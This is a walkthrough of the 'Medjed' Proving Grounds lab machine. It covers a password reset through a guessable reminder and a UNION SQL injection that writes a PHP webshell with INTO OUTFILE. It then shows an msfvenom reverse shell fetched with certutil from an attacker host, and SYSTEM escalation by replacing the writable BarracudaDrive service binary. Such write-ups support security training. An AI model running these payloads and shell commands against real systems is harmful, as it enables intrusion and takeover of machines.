Skip to content
HackIndex.io

Medjed Writeup - Proving Grounds

Intermediate Windows
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

The Husky Hacker

sysadmin

Medjed chains an SQL injection in a Ruby on Rails quiz app, reached by guessing a weak password-reset reminder, into writing a PHP webshell onto a second web server's document root, then escalates to SYSTEM by replacing a world-writable BarracudaDrive service binary.

Reconnaissance

Nmap

Scan all TCP ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p 135,139,445,3306,30021,33033,44330,45332,45443 -sCV $TARGET_IP 
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql         MariaDB (access denied for this host)
30021/tcp open  ftp           FileZilla ftpd 0.9.41 beta, anonymous login allowed
33033/tcp open  http          Ruby on Rails app (Action Controller errors)
44330/tcp open  ssl/unknown
45332/tcp open  http          Apache httpd 2.4.46 (Win64) PHP/7.3.23, "Quiz App"
45443/tcp open  http          Apache httpd 2.4.46 (Win64) PHP/7.3.23, "Quiz App"

Two Apache/PHP web servers (45332, 45443) and a Ruby on Rails app (33033) stand out. Anonymous FTP on 30021 only holds the Rails app's own source tree, a dead end.

Enumeration

phpinfo.php

Brute force the PHP site on port 45332.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP:45332 -w /usr/share/wordlists/dirb/common.txt 
/index.html   (Status: 200)
/phpinfo.php  (Status: 200)
Explain command
-w Wordlist to brute force with.

phpinfo.php leaks the document root.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:45332/phpinfo.php | grep DOCUMENT_ROOT 
DOCUMENT_ROOT => C:/xampp/htdocs

Note the webroot for later. The Rails app on port 33033 lists team members, including jerren.devops@company.com whose motto is "Only the paranoid survive", and exposes a password-reset form asking for a username, a free-text reminder, and a new password.

Exploitation

Password reset via guessable reminder

Guess a shorter form of the motto as the reminder answer.

Username: jerren.devops
Reminder: paranoid
New Password: $JERREN_PASSWORD

The reset succeeds and logs in as jerren.devops. Editing the profile exposes an experimental "Request Profile SLUG" feature at /slug that submits a URL string and echoes a raw Mysql2::Result object back, a strong SQL injection signal.

SQL injection to webshell

A single quote confirms it, and the verbose error leaks the query.

sql = "SELECT username FROM users WHERE username = '" + params[:URL].to_s + "'"

A UNION injection writes a PHP webshell straight into the other web server's document root.

' UNION SELECT ("<?php echo passthru($_GET['cmd']); ?>") INTO OUTFILE 'C:/xampp/htdocs/cmd.php'  -- -'
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP:45332/cmd.php?cmd=dir" 
Directory of C:\xampp\htdocs
...
5 File(s)   5,232 bytes

RCE confirmed. The attack box can only reach the target on specific ports, so reuse port 30021 for the reverse shell listener and 45332 to host the payload.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o reverse.exe
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 45332 
Payload size: 324 bytes
Saved as: reverse.exe
Serving HTTP on 0.0.0.0 port 45332 ...

Pull the payload through the webshell with certutil and execute it.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP:45332/cmd.php?cmd=certutil+-f+-urlcache+http://$ATTACKER_IP:45332/reverse.exe+reverse.exe"
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP:45332/cmd.php?cmd=reverse.exe" 
CertUtil: -URLCache command completed successfully.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
C:\xampp\htdocs>whoami
medjed\jerren

Shell as jerren. Enumerate the filesystem for a privilege escalation path.

Privilege Escalation

BarracudaDrive insecure folder permissions

A non-standard folder at C:\bd turns out to be BarracudaDrive 6.5, running as SYSTEM.

PS C:\Users\Guest\Desktop> icacls C:\bd
PS C:\Users\Guest\Desktop> icacls C:\bd\bd.exe 
C:\bd         BUILTIN\Administrators:(I)(OI)(CI)(F)
              NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              NT AUTHORITY\Authenticated Users:(I)(M)
C:\bd\bd.exe  BUILTIN\Administrators:(I)(F)
              NT AUTHORITY\SYSTEM:(I)(F)
              NT AUTHORITY\Authenticated Users:(I)(M)

Authenticated Users has Modify on both the folder and the service binary, a known Insecure Folder Permissions issue in BarracudaDrive 6.5 (EDB-48789). Replace the binary with the reverse shell payload and reboot to trigger it, since bd.exe runs as SYSTEM.

PS C:\Users\Guest\Desktop> move bd.exe bd.exe.bak
PS C:\Users\Guest\Desktop> copy C:\xampp\htdocs\reverse.exe bd.exe
PS C:\Users\Guest\Desktop> shutdown /r 
1 file(s) moved.
1 file(s) copied.

After reboot, the replaced bd.exe runs as SYSTEM and connects back to the waiting listener.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
C:\Windows\system32>whoami
nt authority\system

Related

Information Disclosure Checks
Blog

Information Disclosure Checks

Identifies unintended data exposure via HTTP responses, headers, error messages, and server banners...
Union-Based SQL Injection Exploitation
Blog

Union-Based SQL Injection Exploitation
MySQL File Write and Webshell via INTO OUTFILE
Blog

MySQL File Write and Webshell via INTO OUTFILE
Windows Service Binary Hijacking
Blog

Windows Service Binary Hijacking

References